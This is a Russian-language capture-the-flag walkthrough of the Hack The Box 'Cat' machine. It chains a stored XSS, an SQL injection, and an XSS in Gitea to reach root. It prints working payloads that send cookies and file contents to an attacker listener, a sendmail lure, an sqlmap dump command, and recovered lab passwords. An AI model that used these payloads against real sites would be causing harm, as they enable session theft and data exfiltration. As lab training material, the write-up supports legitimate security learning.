Cat Hackthebox Writeup
HTB machine link:
https://app.hackthebox.com/machines/Cat
Recon Ссылка на заголовок
Из открытых портов у нас как обычно - 22,80
При обращении на 80 порт нас редиректит на cat.htb
. Сразу добавим запись в /etc/hosts
echo "10.10.11.53 cat.htb" | sudo tee -a /etc/hosts
На самом сайте видим форму регистрации
После входа в систему мы получаем доступ к другим функциям
User flag Ссылка на заголовок
Во время перечисления мы обнаруживаем каталог .git.
С помощью gittools, можно извлечь файлы из репозиториев .git
. Этот инструмент проверяет, включена ли функция отображения каталогов, и рекурсивно загружает содержимое .git
для дальнейшего анализа.
После извлечения мы получили доступ к исходному коду приложения. Попробуем проанализировать его на наличие уязвимостей (Можно закинуть в SAST)
Так например при проверке join.php
можно заметить, что пользовательские данные напрямую сохраняются в базе данных во время регистрации и никак не фильтруются. Что приведет к Stored XSS
А в accept_cat.php
, видна SQL-инъекция, которая возникает из-за прямого ввода данных пользователем в SQL-запросы.
Уязвимая часть кода:
// VULNERABLE CODE:
$cat_name = $_POST['catName'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
Но accept_cat.php
доступна только админу axel. Получается, нужно через XSS попасть в админку (например украсть куки), а потому через SQLi достать креды из БД.
Приступим
Раз у нас ничего не фильтруется, можем использовать базовую полезную нагрузку с академии Portswigger
<script>document.location='http://10.10.xx.xx:4444/?c='+document.cookie;</script>
И, так как это blind stored XSS, понадобится прослушиватель
python3 -m http.server 4444
После чего регистрируемся с полезной нагрузкой в качестве имени пользователя
Потом логинимся и создаем случайного котенка, чтобы админ нас увидел
Через пару секунд получаем отстук с куками.
Теперь нам видна панель Администратора
Через ранее обнаруженную SQLi достанем креды:
sqlmap -r req.txt -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10
Где req.txt это ваш запрос на эндпоинт с куками админа
Получаем хеши паролей
rosa:soyunaprincesarosa
Логинимся по ssh
Просмотрев журнал Apache, мы можем найти учётные данные пользователя Axel. (Это отлично подсветилось linpeas.sh)
axel:aNdZwgC4****************
Заходим по ssh и получаем флаг
Обратите внимание на надпись “You have mail” при входе
Root flag Ссылка на заголовок
Идем смотреть, что же за письмо нам пришло - /var/mail/axel
Тут видимо намек на повышение привилегий, но чет читать очень много
Поэтому сделаем как обычно. Найдем открытые порты и пробросим веб
ssh -L 3000:127.0.0.1:3000 axel@cat.htb
На 3000 порту у нас поднята Gitea
Причем стоит версия которая подвержена XSS
Видимо автор тачки любит воровать печеньки
Ну и теперь понятно на что нам в письме намекали
<a href="javascript:fetch('http://10.10.xx.xx:4444/?d='+encodeURIComponent(btoa(document.cookie)));">XSS test</a>
echo -e "Subject: Test Email\n\nHello, check repo http://localhost:3000/axel/l4tmur" | sendmail jobert@cat.htb
Получаем index.php
<a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md").then(response=>response.text()).then(data=>fetch("http://10.10.xx.xx:4444/?d="+encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));'>XSS test</a>
Исходный код index.php с кредами рута:
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
header('Location: dashboard.php');
exit;